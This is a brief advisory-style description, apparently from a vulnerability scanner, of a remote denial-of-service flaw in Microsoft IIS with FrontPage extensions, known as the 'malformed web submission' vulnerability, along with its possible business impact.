Microsoft IIS, running Frontpage extensions, is
vulnerable to a remote DoS attack usually called the ‘malformed
web submission’ vulnerability. An attacker, exploiting this vulnerability,
will be able to render the service unusable. If this machine serves a
business-critical functionality, there could be an impact to the business.
